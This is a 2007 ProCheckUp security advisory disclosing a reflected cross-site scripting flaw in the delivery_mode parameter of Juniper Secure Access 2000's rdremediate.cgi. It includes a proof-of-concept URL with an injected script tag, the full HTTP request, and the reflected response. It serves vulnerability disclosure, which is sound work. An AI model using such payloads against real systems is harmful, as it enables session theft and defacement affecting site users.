ProCheckUp Security Advisory 2007.41

`PR07-41: XSS on Juniper Networks Secure Access 2000  
  
Vulnerability found: 6th December 2007  
  
Vendor informed: 12th December 2007  
  
Severity: Medium-high  
  
  
Description:  
  
Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.  
  
Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'  
  
Unfiltered parameter: 'delivery_mode'  
  
  
Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000)   
5.5R1 (build 11711)  
  
  
Proof of concept:  
  
https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryaga   
  
in&signinId=url_default  
  
  
Consequences:  
  
An attacker may be able to cause execution of malicious scripting code   
in the browser of a victim user who clicks on a link to a Juniper   
Networks Secure Access site. Such code would run within the security   
context of the target domain.  
  
This type of attack can result in non-persistent defacement of the   
target site, or the redirection of confidential information (i.e.: admin   
session IDs) to unauthorised third parties.  
  
Fix:  
  
Juniper Networks was aware of this issue which they addressed on version   
5.5R3. However, we decided to release this advisory due to lack of   
information regarding this vulnerability in the public domain.  
  
References:  
  
http://www.procheckup.com/Vulnerabilities.php  
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/  
  
  
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)  
  
  
COMPLETE HTTP REQUEST:  
  
GET   
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default   
HTTP/1.1  
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4   
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3  
Host: target-domain.foo  
Accept: */*  
[CRLF]  
[CRLF]  
  
  
PARTIAL HTTP RESPONSE:  
  
<title></title>  
  
[SNIP]  
  
<APPLET id=NeoterisSetup > Unknown deliver mode   
</APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>  
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>  
  
  
Legal:  
  
Copyright 2008 Procheckup Ltd. All rights reserved.  
  
Permission is granted for copying and circulating this Bulletin to the   
Internet community for the purpose of alerting them to problems, if and   
only if, the Bulletin is not edited or changed in any way, is attributed   
to Procheckup, and provided such reproduction and/or distribution is   
performed for non-commercial purposes.  
  
Any other use of this information is prohibited. Procheckup is not   
liable for any misuse of this information by any third party.  
`